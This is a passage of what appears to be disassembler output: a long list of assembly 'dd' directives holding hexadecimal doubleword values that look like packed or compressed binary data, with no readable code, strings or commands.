2D14A18Bh, 7D2CAE17h dd 5DFF0107h, 2F170537h, 0EF4F8856h, 887DD3FFh, 0E0E1D8F1h dd 600FE965h, 0EBF44A85h, 0DD9C7F40h, 2802BD9Dh, 36E6E381h dd 20836BA1h, 4E8128A2h, 0BE87F6B5h, 63A52305h, 0EFFFEE18h dd 69BB28E1h, 0EA5A3033h, 0BEB2C61Eh, 747269A3h, 47AF92D6h dd 0BD97DBBCh, 9AF4EC30h, 0CB4A2A8Fh, 82B1D1B7h, 0D80AD134h dd 973F44ABh, 1E7ED174h, 0AEFFDF24h, 6E1CB87Ah, 449DED7Fh dd 656CEC95h, 9C4BB6FBh, 0F9F80F3Ah, 0BFD0EB74h, 0F23464F5h dd 0EDB96B5h, 9C74C3D9h, 0E63E5574h, 56484B9Fh, 8F6D033Ch dd 0A7967A80h, 5AA550A8h, 0AB8024D2h, 8BB12D40h, 917F85E2h dd 703C92B5h, 60C94AABh, 70471218h, 1819957Dh, 0C4E4724Fh dd 0E16C586Bh, 0D4B7D3AAh, 0A2803799h, 4AF5B9CBh, 0EE5A0A1Dh dd 8C753AFAh, 9A4D0953h, 51EA36EBh, 0AC9BC07h, 6040988h dd 0CFE17697h, 0A5111794h, 736874B5h, 0F89D46A2h, 0DD229476h dd 2832244Eh, 693C6CF0h, 7799E53Ch, 0FC51A6EDh, 0FCD44038h dd 3967844Eh, 0C8F22323h, 95FC452Dh, 0E2E98A2Dh, 4CDF0976h dd 5D6C1D5Bh, 45C6810Dh, 605383EAh, 0A7DF851Ch, 5DE2875Ch dd 0D0642D95h, 0E6D4DBB6h, 0E96286D0h, 0F0190B38h, 0E9CDF757h dd 0F060845Bh, 0DFEF0A71h, 4A7D535Dh, 35847297h, 0BB6FE3C7h dd 0F67FE67Eh, 0A48FE7Ah, 0F5BE2B7Fh, 11AC2A54h, 0F31CCBC3h dd 5530C1AAh, 0CEF7EED3h, 0D5830FDAh, 6471D75Ah, 319A503Ah dd 3BAE7AC7h, 4800F8C0h, 1224h, 0A000000h, 20000000h, 434A1000h dd 200h, 0 dd 20D92B30h, 1884775Ch, 2125A02h, 1EDC1A1Ah, 0FA3A1D4Bh dd 421DFBBAh, 123A5A10h, 3A2216BCh, 0EA1D1C82h, 1A1D9A17h dd 0FB7A14EBh, 921C1A0Ah, 11EE2A07h, 43048B00h, 0EFBE1100h dd 0 dd 200h, 10003000h, 800434Ah, 0 dd 135D0000h, 713E20FDh, 0C6575EB1h, 0A769783Eh, 0DF6CF51Ah dd 7AF67FB6h, 84E0C332h, 0F1DA473Dh, 216AD472h, 25FFBD87h dd 3251E35Fh, 1F90AA85h, 4B648DF5h, 0FEE2C50Eh, 0A4E2D63Eh dd 0AF9F85FDh, 13B228B8h, 764C6699h, 865EFA69h, 0A2678792h dd 5A6C0DD4h, 0B5A5B798h, 32091E55h, 3F105C31h, 74B477BAh dd 667794E6h, 0DF451344h, 79E6193Dh, 0FE436CCCh, 0CB4295CCh dd 0DC8D1D0Dh, 0A8FA6313h, 0B98FFB77h, 9727F825h, 80FE965Ch dd 99E7F70Eh, 0CFD57F97h, 0BB885335h, 29217933h, 727586D7h dd 0AFBFC361h, 20F86929h, 371F2367h, 3F416FE1h, 61D5CC9Bh dd 1CC5FF54h, 0B691C2DCh, 0F2FDB28Dh, 91584F69h, 9671A436h dd 895E8B9Eh, 0F991B03Ah, 0BC99C677h, 0B1C44A35h, 0B9DF2D7Eh dd 96E896F4h, 3CF14956h, 94BA4E47h, 7576564h, 0A3E8091Ah dd 1A74AF30h, 51A4ADB6h, 36A2EFF7h, 0E7F2D308h, 0D5D17F6Eh dd 8997F9F1h, 0FFA2A5BFh, 19BE423Bh, 719CDCF1h, 0FD39DF97h dd 27B3D657h, 593659AFh, 17CB92A1h, 0FAD2B28Ch, 6B670B2Fh dd 218D3A92h, 34537BC9h, 0D0BDF6Eh, 8852FEBAh, 7905E551h dd 569EED7Ch, 9C083239h, 0F77AFCF1h, 6C5E6FD3h, 0EA2BAE7Fh dd 0E7B1CB67h, 4E674FFCh, 0CC647D9Eh, 5D46F963h, 474B2CBFh dd 96CA5E24h, 4B389F25h, 8EEB9EF4h, 0D19991Bh, 8F63E86Eh dd 5F7CB0FCh, 0F2EDEA3Fh, 7EE0D48Fh, 6D13A398h, 8ED03329h dd 0EA6523A4h, 88BEFCD1h, 12BF2AFFh, 2DBD5361h, 0BC304CA7h dd 7BC6ECCBh, 208773D2h, 0B46D4771h, 42D3EB32h, 0FA52CCE9h dd 6E259D80h, 0B5A82AF1h, 0D23B3E41h, 6226CAF7h, 843C0CB0h dd 4F9E125Ah, 76F08C8Ah, 6B818EE7h, 64EB896Eh, 6652B2BEh dd 0ECFC324Ah, 1F4F5D87h, 0ABDC3611h, 0D3DCDF8Fh, 53C87FABh dd 748647E6h, 6E9FC2FCh, 0FE95B6BFh, 7E279097h, 0E7372EAh dd 0B8E6BD1Ah, 64194747h, 0AE21CDFFh, 7EA12A6Dh, 55B2959Dh dd 0EEF5B2ADh, 28947B2Dh, 8E678B49h, 0D1F50AE4h, 0C9BEE3E4h dd 5149B75Fh, 7314D73Fh, 52EFA1D6h, 0D0A8E9A7h, 77E24C8Ch dd 0EE5AF4BBh, 0C0732C5Fh, 18F54D45h, 6AD37672h, 4BFE6F06h dd 14A3E1E9h, 0FFE5177Fh, 0E7E0FE6h, 0CACFE2F7h, 35CD42C1h dd 77FE667Fh, 885A716Ch, 0DB3F77FAh, 0F4FF617Fh, 5F3C4EB5h dd 0DFEE516Dh, 0ABFF4EC0h, 0C8370926h, 0A9B2E79h, 0BA9DD7D5h dd 73F7CB3h, 6E981E5Ah, 63DBC9E4h, 67F35E16h, 7C8213F9h dd 0EFC9582Fh, 0EC741514h, 38DFEFBAh, 79B9BBC9h, 1A4A4A72h dd 0BD6D5D36h, 0FC72374Ah, 4CA4CA50h, 222512F4h, 0C96A72AFh dd 0B4B38AB3h, 834AB309h, 5C9D99A6h, 4D1DF770h, 29F93CF1h dd 7BFE22A5h, 792E5079h, 659B151Bh, 0FAB7EFFEh, 7DCF8F7Fh dd 0DF0D02DFh, 365EE531h, 2793ACDEh, 0BD6657A1h, 0DA56AE18h dd 78A3B8B8h, 0FEEB7765h, 9154E567h, 0FA3CBE4Ah, 734D9366h dd 0FE2728B6h, 9FFE61C1h, 0F17D1F7Dh, 0BE979F4Dh, 4AE7BADDh dd 3DCFC743h, 8D66D3A6h, 3BFFFD26h, 1F51D750h, 0C8E60CF5h dd 0DC925385h, 0B54BDC59h, 9AD4837Fh, 443F7B1Eh, 0F4A0AB5Fh dd 0C5A290B7h, 0C0FFD978h, 9FB5AF9Eh, 0FD39ACF9h, 7EA377E5h dd 9FCFCBE1h, 0D1FDF71Ch, 6DF50DE7h, 0E0C73E37h, 0D5AE2EC3h dd 1FCC5322h, 0BF16FD17h, 9ACDF7D0h, 4862FBD4h, 0DCA3F9A5h dd 95CB3438h, 93411D5h, 0B68BFFF2h, 0C3289EE5h, 0E66A1782h dd 0F5CEF29Ch, 0ABAEEF2Eh, 4D817C54h, 744CBFA5h, 9D0F4570h dd 0D72CD94Dh, 33DFD912h, 0FB9FFC61h, 6A3FB85Ch, 29ABF2C9h dd 0F79DFF5Fh, 0A1925646h, 0FCAEAD65h, 98F17359h, 0DFEAC677h dd 4DF96322h, 2EFFA46Ah, 0DA8F91E8h, 0E57A0DD4h, 9C0FF7E6h dd 926E593Ah, 0DDECC594h, 9AE57679h, 0D25ABF07h, 5D226FB3h dd 0BFF2D4A3h, 139F96E4h, 0E9CFBDA4h, 0B31B2CE1h, 558BD22Bh dd 0B671553Eh, 7899DD1h, 5249D85Dh, 0D4E9E883h, 3D1F5FA6h dd 0ABD0F1ABh, 1E144F52h, 0CF943A1Fh, 0DDD190F1h, 14BC8E73h dd 0AFDACAB4h, 0A8F49CB7h, 5661C764h, 0E735CDF6h, 0FE6FF6F7h dd 0A57F360Eh, 5BD7BDC3h, 0EF95E815h, 0D798E26Fh, 0B3F4FC75h dd 0F709DFDBh, 601Dh, 0 dd 10000000h, 434A1001h, 3Ch, 0 dd 20D83216h, 12580BFFh, 0C28A60D4h, 3F0B1BC5h, 0C7FFF682h dd 310008DCh, 0B6427Ah, 46340317h, 48360261h, 7CA07AFEh dd 6098611Ah, 7099F443h, 0E7C30000h, 3Ch, 10012000h, 1000434Ah dd 0 dd 24100000h, 9FF420F3h, 63B41228h, 4485A780h, 0D0940118h dd 26018533h, 65B91184h, 5B26D2D7h, 75905B8Ah, 12287329h dd 0A536B126h, 0EA7CF65Bh, 0C36EDE7Eh, 0F414C522h, 0BCE90542h dd 9B154A65h, 3BCDC2B6h, 2A81C8B9h, 8CED0589h, 7377CB7Dh dd 70519091h, 9057324Ch, 0AB5A6F16h, 2EB66114h, 4584F5Dh dd 843A1B65h, 4850141h, 2B008C19h, 12C229A5h, 4B4808DCh dd 3A002594h, 0E6D5930Ch, 394D35D6h, 0D9CA355h, 0DF781A5Bh dd 0FA04B50Ah, 0ADC86934h, 3EFB8952h, 2200F8C0h, 0EE11h dd 0 dd 30000000h, 434A1001h, 0AF77h, 0 dd 20E27D95h, 0DFFCD739h, 0BC80C438h, 787E3607h, 0BB62BC79h dd 2AB23FC7h, 0A7FE4BF5h, 5EDC47B8h, 92E27E80h, 28D15A71h dd 30596480h, 8C431A5Eh, 34502638h, 0C47860F3h, 57A5CF34h dd 90FC253Eh, 2C44881Ah, 0E2F85878h, 6492B368h, 0F958AEB5h dd 6AC607C1h, 0B984DBEBh, 0C5F81A89h, 0CC0CA93Eh, 283ADE78h dd 368A5596h, 0E16F064Eh, 45D3EDAAh, 0C81EE041h, 0D7C3C51h dd 0BD9E070h, 90F7E62h, 56671620h, 0D938B0A9h, 5532202Bh dd 0B28A2592h, 0C744FEE0h, 3B87F7C3h, 0F0BD28B8h, 0C7E47FA1h dd 15A28697h, 87E03E11h, 0B04829D6h, 0C5D17F86h, 0E71F1080h dd 98E5D1BBh, 91C68340h, 55C494FAh, 706CBF88h, 4026E0ABh dd 0FE81F9E6h, 814FD7CCh, 2B99930h, 0F844AD1Bh, 0AE936100h dd 6BCAEA7Dh, 0F877FFD6h, 0A60E05B7h, 78944CF8h, 0EF53361h dd 736EB0EEh, 3039DC26h, 79BD3A40h, 8DA0C406h, 5DD23EDDh dd 0E6F6588Dh, 9FBB042Dh, 0CFAB5001h, 0AE1020EAh, 7FC52EB0h dd 829D0AB6h, 2FE206BEh, 0E92E1E69h, 24AF3431h, 0F8C1DF4Ah dd 1169F21Bh, 1240B9CBh, 45E80601h, 3C96643h, 0A5A610FDh dd 46F6A152h, 0B448E855h, 1EF56B03h, 0CAEAD125h, 7A82FEA3h dd 0BE4881DEh, 0F0A3A04h, 98AC1EA8h, 22AF5C3Ah, 86245DBCh dd 33EC5C57h, 0B9806832h, 13D20F49h, 35D91B0Dh, 0F6AB00CEh dd 0F6B2D226h, 867A8DCEh, 0BCE1F978h, 0B8CF078Bh, 4B44F78h dd 933F0560h, 127D153Ch, 0FCF7BCAh, 95FEE07Dh, 0D33C3DA7h dd 30FD6E05h, 0DCB55433h, 968CAD93h, 0E133075Fh, 25FF0EA4h dd 0CA7D7FB8h, 0BF5E07CBh, 8F2F39B2h, 1AE8E27h, 0BA9259ACh dd 770029B3h, 0C5AAB8BFh, 6545B04Fh, 0E018FC38h, 0C7281608h dd 1A8AA9ECh, 3401808Ah, 7AC2D0C7h, 1A3081FAh, 644FF909h dd 0E4B4093Fh, 0CF018C72h, 160D3CDAh, 0B1FC4746h, 8C945C0Dh dd 7F3B0966h, 66D192B9h, 979CD6A0h, 715E0028h, 44303E2Fh dd 5DC2C557h, 2FF2EDF3h, 21B8C07Dh, 0D2C821E6h, 3C51F060h dd 6C74BE46h, 82B31755h, 0FE7DA54Bh, 28240E52h, 8D6AEE61h dd 7FA03BFEh, 0E5704946h, 703F1FCEh, 33315C87h, 0E2629930h dd 6C3BEFB6h, 5988E141h, 0A7C67B1Ah, 0D1E29009h, 0AD94D46Dh dd 122D0412h, 3359C0F2h, 70F6299Dh, 6D23DC45h, 0A7EF7CFFh dd 17EA01DFh, 32924961h, 0F0566BBCh, 3AA812F0h, 0A1A0DDA5h dd 0EF704C43h, 2B70FC7Fh, 0EEAE3677h, 2A5D4F17h, 0D8C3C724h dd 9C1E4429h, 4F233981h, 7018A882h, 0CF737CA1h, 0D258F2BCh dd 994624D2h, 9A162FBDh, 5E28A08Bh, 67AC181Fh, 8428EE00h dd 0E17E01BFh, 54724EB2h, 891F35E0h, 53F4A966h, 8BFE2698h dd 8CE579AEh, 9284A101h, 119E0B3Dh, 4A82A245h, 83E27E31h dd 1453980Bh, 0E9404AE5h, 512A2D67h, 75E35C30h, 65196B4Dh dd 0C8CC1248h, 61EAC3Ch, 0B0B81CF4h, 74E650ACh, 7E5C302h dd 82DBA845h, 0EA4040Ch, 0BF1C6147h, 0E9F6AD13h, 7DF462A3h dd 581F0856h, 0AE5B5AFBh, 97A01105h, 0FE5EFB83h, 0E08243F1h dd 0B3B9281Ch, 675A4487h, 345926EBh, 0DDA2895Fh, 6601D108h dd 52FCF870h, 7D05289Dh, 0DB9B0600h, 0BBE6D8C3h, 0F05BAA6Ah dd 899706F3h, 7BFBD970h, 0F0B3F862h, 0E42D224h, 65E8381Fh dd 1F9BF1A4h, 26DEE6BFh, 7E0E7DAh, 3BB925BDh, 0D3379A6Fh dd 0F4F720A0h, 0E35A25D5h, 0A05BD06Fh, 0B1644EC4h, 0FB20678Eh dd 0C01BC4CBh, 2FFE1AD6h, 785EDF8h, 0DD6EEA72h, 153A77B3h dd 92A781EFh, 92C372E8h, 5020CB21h, 103EA834h, 1CFC9AD4h dd 56E5A17h, 0F7E8AD81h, 52D4EA22h, 0D1C46E84h, 19B949D4h dd 380BF110h, 0AC1CF6A9h, 9614C220h, 0E8760C87h, 0A1029B87h dd 0AAB3E26h, 6EE76776h, 0F428D75Dh, 240E0BC7h, 59593911h dd 5318CFF2h, 92245293h, 1A853C9Fh, 764CD621h, 68054BC5h dd 57EF0778h, 0FE410332h, 0A5D06CCh, 3588D8BFh, 234913FAh dd 4CF34E2Dh, 0BC5DDA5Fh, 0CDBC6FF0h, 1B148B4Fh, 96FC1F53h dd 0D919FD6Ah, 306A5A6Ch, 0E347EC53h, 78E803C5h, 1FEB0FC3h dd 0ED2EA08Fh, 0D5ED3731h, 0EA88EBE4h, 9226D224h, 0BD0B8ED3h dd 17127256h, 0C8DC91BEh, 0D7499F3Fh, 32043AADh, 0CDA3EB43h dd 1BFDBC1Bh, 86B2C589h, 0F65A3B7Dh, 0C043F818h, 0C5F96BABh dd 415D8F1Bh, 68D8A0D6h, 0D179B86Dh, 7E564370h, 0B710B63Fh dd 81782BE0h, 0D328AF65h, 6B88D63Dh, 0BD44F721h, 0ED43825Ah dd 3157B47Eh, 4E37615Fh, 37C78103h, 0F9EA839h, 86A1A8DEh dd 1A760797h, 77E7D47Ah, 0CA7114FFh, 9EFAA9CEh, 88826D92h dd 30FC65Fh, 6D40F185h, 0EF81AF03h, 9D0BEBB6h, 3A7BE07Ch dd 691F5809h, 6A765725h, 8C2E4E1Bh, 3AD07B4h, 0E42A2DD1h dd 0E41B7423h, 2D46B15Ah, 0DA71327Ah, 0B015C543h, 11202975h dd 0B2F68EFEh, 19A41B73h, 3A5260ECh, 40C2AEA7h, 5E59BC82h dd 0DDD4A36Ch, 749DA38Eh, 0C611AC1h, 89C5FEB0h, 0F3C9202Ah dd 0DF263B8Eh, 0BDAF6392h, 54464015h, 292113ABh, 607E6033h dd 48DC880Fh, 0EAD81E3h, 633DBECCh, 3ACB7020h, 0E5304A1Ch dd 25FA80B7h, 0FB40AF08h, 60EFBF05h, 0BF4C05CCh, 2FF7B913h dd 7E8236FCh, 0F8CA61FFh, 2A578B05h, 29C2CA23h, 74B92D14h dd 4CED005Fh, 0ADD12CB8h, 4AF9F81Eh, 0D4D2A530h, 798EDFDFh dd 30F14922h, 0D28497B7h, 95FD2950h, 3CBD3622h, 4A145439h dd 0B688BD59h, 0B458D7A1h, 0BEC859C4h, 152BEB47h, 1A9D67D9h dd 17C0FDB6h, 0BC1F94F0h, 1B743092h, 925882A7h, 0E805B64Dh dd 0D5A24FDEh, 0C3EBEF5h, 4AB2EF26h, 0C8E380B4h, 919ACB5Dh dd 0E6A684D0h, 6463E8Dh, 0F1D1B709h, 779D235Fh, 35EA5910h dd 0A886F625h, 5FC0F1F6h, 33CBBDD5h, 0AB89DD69h, 1AC58871h dd 46A4E079h, 0F90AA543h, 0B605BB29h, 3E268BE4h, 2E53C1E8h dd 43F1EA54h, 6732B54h, 46F87A2Dh, 12FB5DB6h, 74B8A44Fh dd 8A5EE365h, 0FE3E836h, 9F934193h, 1DE4832Bh, 0F7545408h dd 0E01E6FBAh, 0F8139A4Eh, 2E5CDF07h, 0CF58ED52h, 94CCB0B1h dd 7A1A37B1h, 4A41BFD1h, 949B4F0Eh, 46CFC116h, 4E217898h dd 2D036EF7h, 30E12569h, 15DFFDFh, 83C085D4h, 0B17D00C1h dd 688B2B7Ch, 4DDD6ABh, 86A1395Dh, 53322FEFh, 0AF8516E4h dd 954816AFh, 733ECE07h, 0EF5CDC7Dh, 0BA614369h, 0DA246496h dd 2FD90FC1h, 0C79ABAB4h, 5638EA12h, 370FCF56h, 392DE4CEh dd 0B0AA25C6h, 3397B941h, 0DC666017h, 0F9B2284Fh, 1A70FACh dd 2D1AD118h, 81F3E67Fh, 32FE4BE0h, 37F87166h, 0F478202Bh dd 0D0E2303Eh, 7F078E68h, 4A1F89CDh, 56429F93h, 0BF0BAE2Bh dd 93817BC6h, 0FA0B257Ah, 36DFE260h, 46EFD758h, 803367F0h dd 63EB885Ch, 8AA32h, 189AA945h, 6B16D64Ah, 9B3889A8h dd 284E651Dh, 6E5AC9F0h, 0AD52B873h, 0B5C47B1Bh, 80501894h dd 0C991BA9Dh, 0A68C3054h, 946B3D29h, 8F5B165Dh, 65D46DBAh dd 0ED124AE3h, 0AB89D524h, 90407484h, 29947BF1h, 1C63C87Dh dd 0FE5C5D36h, 19A84C8Dh, 0BB65EB07h, 0DDD694E7h, 0D4C6733Fh dd 3DC23923h, 6D1C38B7h, 61B5D4B2h, 43F19A4Bh, 0C8B5FC41h dd 0BB312087h, 0E07778C0h, 43E7DF12h, 0B3E955A2h, 8ABE2D5Bh dd 72CEDD9Ah, 40A77E00h, 800B7856h, 142456A5h, 492AC568h dd 0A4750117h, 41476D93h, 0A758414Ch, 365C8B0Ah, 574BC17Bh dd 9855095Bh, 7718E0F2h, 6260437Ah, 8E8685F2h, 72836516h dd 3B6B9129h, 0D4F3ADA7h dd 52875AEFh, 0C1782D36h, 5D2C591Ch, 50426276h, 0E4D073E0h dd 0D34DB53Fh, 5AD607E5h, 90EBEEF1h, 40EBF393h, 5A3A78E1h dd 4BC9C55Ah, 0D0B04710h, 52E483E5h, 2DBCA438h, 0D859691Bh dd 0FC3F050Ah, 565E2D16h, 4EAD9B30h, 11B9ACE2h, 0D0862F7Dh dd 0CCD4A8B8h, 2A3A14BEh, 177D462Bh, 0AB60862Dh, 37BFC43h dd 0E3D9CDA8h, 75606C12h, 47064BFAh, 0E4C00937h, 6E9038D5h dd 34E02B9Ch, 9F3549C3h, 0CF29A19Ah, 456F8AA4h, 0D471D91h dd 5B8566ADh, 2E011520h, 0C5C440ADh, 199C7138h, 38D01DAEh dd 65B55A90h, 6DC25F5Bh, 6CBD3D32h, 0DD0B07DFh, 8FEACF44h dd 9A5DCCEh, 43F007DCh, 0B4303C2Fh, 0E5EE9F33h, 3085521h dd 0B47B3C3h, 14FD0727h, 0C3A9D880h, 0DC143831h, 64C34F23h dd 37015BDCh, 7ED143ABh, 0B72B59A8h, 1591E2D1h, 0E833AB72h dd 5C74BC7Fh, 5FB4A80Ch, 73D0E4B6h, 1C9029EEh, 5892D578h dd 0D4B136B7h, 45C80CF8h, 0A177A089h, 0DFDEA5C3h, 0CEBD00Dh dd 63A97C7Ah, 285ED6F7h, 0E121EC29h, 40905A39h, 35918BC0h dd 3B6D1116h, 0BE21DE2Bh, 0DCCD42C2h, 43838951h, 5CA44822h dd 5D29AF07h, 0C102CCC0h, 0DBA05949h, 14592F35h, 0B14FD4D7h dd 6A768CACh, 821B923Fh, 81E1DAB0h, 70997384h, 0B5834764h dd 56FF267Ch, 30B80D2h, 9704868Eh, 860E7A09h, 0CA735429h dd 0B86DD660h, 0EF574079h, 31B4A1C3h, 0B22C2C0Ch, 683A60B1h dd 0F15580DBh, 671B4B9Dh, 694AABB4h, 81032B02h, 29014DFEh dd 8122F405h, 0A3377A05h, 4604F71h, 4007742Ah, 0A0C6F31Ch dd 68065C26h, 4E5331Dh, 46244230h, 0E604F714h, 405F4690h dd 4E11A6F4h, 0FC620D14h, 347518E3h, 0D1424D45h, 31354638h dd 0D1863462h, 85432C69h, 0F3206A85h, 53798B1Dh, 15484954h dd 96B8D379h, 0E4E88B08h, 184D7A58h, 2E994B22h, 77739BECh dd 0C57B40C9h, 0ED6B497Fh, 99F4AA55h, 0C5D17D1h, 0F92720CEh dd 485900C2h, 0CAB13CF6h, 2CB59837h, 980B06E0h, 0A49610E8h dd 2C56A1F8h, 4D864817h, 316B8C09h, 6F8C607Ch, 0F8AF0CB3h dd 0C05F8F0Ch, 8EFF71F5h, 2B47423Fh, 23C92A9Eh, 0A70D2079h dd 0F0E64264h, 3B6D7C2Bh, 44D2CEA8h, 50956828h, 0DF704F80h dd 0AE7B3E3Ah, 404B6076h, 2BB4DB00h, 29EA1B7Ah, 0FAF12B99h dd 68E96BD7h, 0CED3E1BDh, 68A07284h, 0FDB61ACh, 9DE0F021h dd 0F55C5866h, 7E7312C2h, 0B9DFBF0Bh, 93D5AE51h, 81970DFBh dd 5C8B373h, 0A6FE1F80h, 0ACAE74B7h, 46738BE7h, 0D7F026BAh dd 9D2E2FB4h, 0BFC7696Bh, 0A367A07Ch, 0D33C1A26h, 0FA3B77C4h dd 0BB6DDA0Dh, 570DB24Eh, 0DE310E0Fh, 0BE13E843h, 434ADD66h dd 3ED31571h, 0C93CB99Ch, 3CA3EFC6h, 0D049BF34h, 8039CEC4h dd 61F85E85h, 4C50C969h, 0CF40F900h, 43C5FCE0h, 78502AF1h dd 0CB7BF6D5h, 0F1B379B3h, 8D578269h, 57C184FEh, 429B81E5h dd 6DB15988h, 697F9417h, 0FC4BF611h, 862E9C9Dh, 373A773h dd 0EDF7EAE7h, 5596BAD2h, 5573F139h, 3FB503D3h, 91764AC3h dd 0DA571E10h, 0A2F5C360h, 0BBC28107h, 4EDB0495h, 0BF8F895Eh dd 9F4D1F6Bh, 7F3EBB7Ch, 29413358h, 5C456C07h, 0F6AE033Bh dd 8E50197Eh, 0B421B1A2h, 0FB0B5F1Fh, 740599C7h, 6786A8DBh dd 14514314h, 0DF20EE61h, 0ABA097BCh, 0EBAAD389h, 0F402DFDFh dd 88283CD1h, 246F7514h, 0B36A511h, 0AA77999Bh, 0F195739Dh dd 80AA8820h, 0DAE2F915h, 85582586h, 7BAA78D0h, 90704B41h dd 6D19CC46h, 870B58E8h, 0F03024EBh, 738934E8h, 759B6AAFh dd 0C8C42F6Ah, 7338A7A1h, 0DEFD317h, 4F809FBBh, 13442BE8h dd 0DFC7617Ah, 0A0A49469h, 3E9F8048h, 0DDD37397h, 0F030F154h dd 284A69A7h, 92F587E1h, 4EF9C04Bh, 7EF804C4h, 0E75543E6h dd 0DA3BB915h, 3B1B907Ah, 1F8BBFD3h, 0C4E3EED1h, 697DE79Eh dd 0C667E982h, 0DFBAA7E1h, 0C12B5FD2h, 0E0F2A179h, 0DB47266Bh dd 44AE8CA7h, 345C396h, 5B4157DFh, 45981350h, 429F828h dd 0EC1E96CAh, 86E244B7h, 1675730Ah, 1EDFD57Ah, 76D8F817h dd 0B205C48Bh, 1B45E65Ah, 227BB1AFh, 0C44D9562h, 0B08AE23Ah dd 58F3E17Dh, 0D0C0D4C0h, 6751E481h, 0FF8D79B2h, 1A3984B8h dd 1977B0F0h, 49250901h, 5C5C2C2Eh, 2517868Ch, 6C9C700Bh dd 325750E7h, 0ECABCFF6h, 51DA72B8h, 5CC7F3C0h, 0A751E429h dd 4C2EB17h, 0C581760Dh, 0EC27CFDAh, 0E0179FAh, 7EBC6CC7h dd 0BBA3E195h, 0B7904F6Fh, 48D4CC15h, 680A795Ch, 0D7CE90CEh dd 0E281CAC9h, 0CBAC2ADCh, 6CD54190h, 889965A5h, 0D9B44A76h dd 0FBC7071Ah, 1DC174B2h, 75181FEEh, 0AD68A1C3h, 0F4D0E74Bh dd 3365F5C3h, 658BF3B5h, 5F6D24ADh, 46B32710h, 3A65C98Ah dd 0F2B5B91Eh, 46E8E8B8h, 3E8CCCCEh, 9AEC0E34h, 1194C002h dd 7D9FCD8Dh, 82C6ECCBh, 0E667702Ah, 0C2B3A994h, 1492C81Fh dd 0BD1AFB56h, 69F4EC35h, 0BCAF1B0Ah, 301D4508h, 9894AEADh dd 13EECEFEh, 0A053AFC0h, 70C36B61h, 1F7EB340h, 0EDD557C0h dd 0F6B57E58h, 448A2DBDh, 0DDDF9235h, 8B6E0F5Ah, 658FEC4Fh dd 80A787Eh, 0D78069C0h, 3E44B2CDh, 0CDBE94Fh, 7C4A27Ah dd 78E0AD32h, 4624A8D8h, 0EC2DA345h, 7D8AE454h, 0D0A7B6B2h dd 98C2FE0Fh, 6D03B146h, 5004A250h, 7EBAA44Bh, 9FFBB551h dd 0C584F6B7h, 82339EB1h, 492A7562h, 23A72642h, 77FD4B05h dd 1611CE84h, 0C51BFBDFh, 60F0D0Dh, 2DCBB44h, 923F2FB9h dd 2F82574Fh, 267A52B7h, 0D53E87E2h, 0AB16F068h, 704A6E13h dd 0B80935BDh, 0C0B76A6Fh, 0D8BFB2BCh, 79DF8EFCh, 0CF8A1310h dd 3A8097D5h, 0EBEBA4F8h, 0DB645F13h, 58A6195h, 43762599h dd 682494D5h, 0AAABA78Dh, 0F297DA26h, 0B598DE2Ch, 0E7078D1Fh dd 5220D7FDh, 0EE74A558h, 65AF9316h, 8C3A9607h, 6494B46Dh dd 688A20B6h, 565A1ED8h, 0AEF60785h, 62C1C7BFh, 6F6FA9F0h dd 0ABC3F015h, 1868D7F3h, 77D68C7Eh, 0C82CEC38h, 1FBF48A7h dd 62ADEAB8h, 72C0D6C7h, 0A5D3B09h, 641F2897h, 0ABD02B9Bh dd 49805BF2h, 6C7C3579h, 19249F69h, 0E708152Dh, 16046B67h dd 6DBE0FD4h, 0DD02F89Fh, 74D011F1h, 529509A3h, 0CF9135FEh dd 5602B84Ch, 12DF106Ah, 43F03B89h, 2BF0B409h, 0BBBA961Fh dd 0F403A733h, 55073446h, 0E53D9854h, 96760CD5h, 0F17F8558h dd 4065FEFh, 23871353h, 0D934DB06h, 0BF4D8CE5h, 0F28CB5F0h dd 0A9D26526h, 0CE3D5A87h, 4D50E0A5h, 0D9CA73D4h, 936CD4C8h dd 0F7067870h, 943C7079h, 5EC4B9D2h, 755B4B01h, 17CBBD4Bh dd 0A935015Ch, 66921F86h, 0D82F101Bh, 0DABDBF13h, 0B9041CF7h dd 0CF0F7D23h, 0BF55A2Eh, 7152A49Ah, 54D158DAh, 0D5B47217h dd 2C28DB62h, 9E7B4A18h, 0BA5CF0A5h, 321778B4h, 4D2F4A0Dh dd 35478D8Dh, 82EA3BCBh, 5D22A081h, 6A8E3963h, 5F4187F3h dd 955D950Bh, 2A35FADFh, 68F0D402h, 0DF05CEC5h, 0F9421773h dd 0E4B4DECh, 6F7B07FBh, 0F70142B8h, 0D4E77BD6h, 0B5426DBCh dd 0BC1E2C17h, 263B7DDh, 0D7E6C0E7h, 4F17C5CCh, 76AF10h dd 56BC2AC5h, 7E420BF6h, 9BA5A47Ch, 0A5AED675h, 0BEEDF9CEh dd 9288B77h, 9E19155Eh, 5F8980D6h, 5A4494F1h, 5C4BEF64h dd 692E1598h, 70ADB0FCh, 2EC726EAh, 4FB6F0E6h, 3B1EAB38h dd 981F76EEh, 2983551Fh, 0AFDE5783h, 0EB8BE716h, 0C8ADF09Eh dd 4DA3259Fh, 6AD6DAF9h, 30BD61DEh, 0C0B4B91Ch, 83871EE6h dd 0C2A4810Ch, 75A11387h dd 7D6614CFh, 52EA768Ch, 45327F62h, 0ADE07E78h, 6F164DC7h dd 9AE11655h, 106D1EE0h, 97865BEAh, 0A42E8E89h, 68ECE0C5h dd 2F8D7055h, 0B49B27D7h, 0C0F2B637h, 8DA52967h, 0A37B73CCh dd 0F30BFCAFh, 757A9F85h, 5AF2F3D1h, 3C506441h, 0AE9A3571h dd 3EB8236Dh, 0A9181F8Fh, 12A9E6D9h, 816A9701h, 0CEFD779Bh dd 0FC553A6Fh, 0B5FC66B9h, 76BDC5B3h, 0CDEEEDD5h, 0ED1EB83Fh dd 41B95383h, 59C0FDC8h, 0F2E3BBC8h, 5CF794BEh, 4847711Eh dd 0CC7C90BFh, 9F499FDDh, 5B0BF1FBh, 363EFF3Eh, 0D1BBC3B4h dd 531A82A8h, 0DC980C40h, 0C3F6B0DFh, 7E95A223h, 458DFC95h dd 86CC564Ah, 6DE8233Dh, 0DF7D48E7h, 2D1BFCA4h, 0B895EC0h dd 0F3BF7F7Bh, 0E6BD4292h, 0B5178DECh, 40C2CD5Dh, 94F28BF1h dd 0A075FCACh, 473A1C39h, 78AF0DA9h, 4E4C990Eh, 0F9D56E0h dd 0B0D7D5D9h, 18393D95h, 5ACA978Eh, 124EFBBh, 44DC2CD4h dd 973FBF02h, 10BD68DCh, 3952DBF7h, 0EFCEB64Ah, 2D796117h dd 0A2DF6DAh, 0A755ADDAh, 337B1697h, 6F3E1512h, 0ED5346D0h dd 0AE98249Eh, 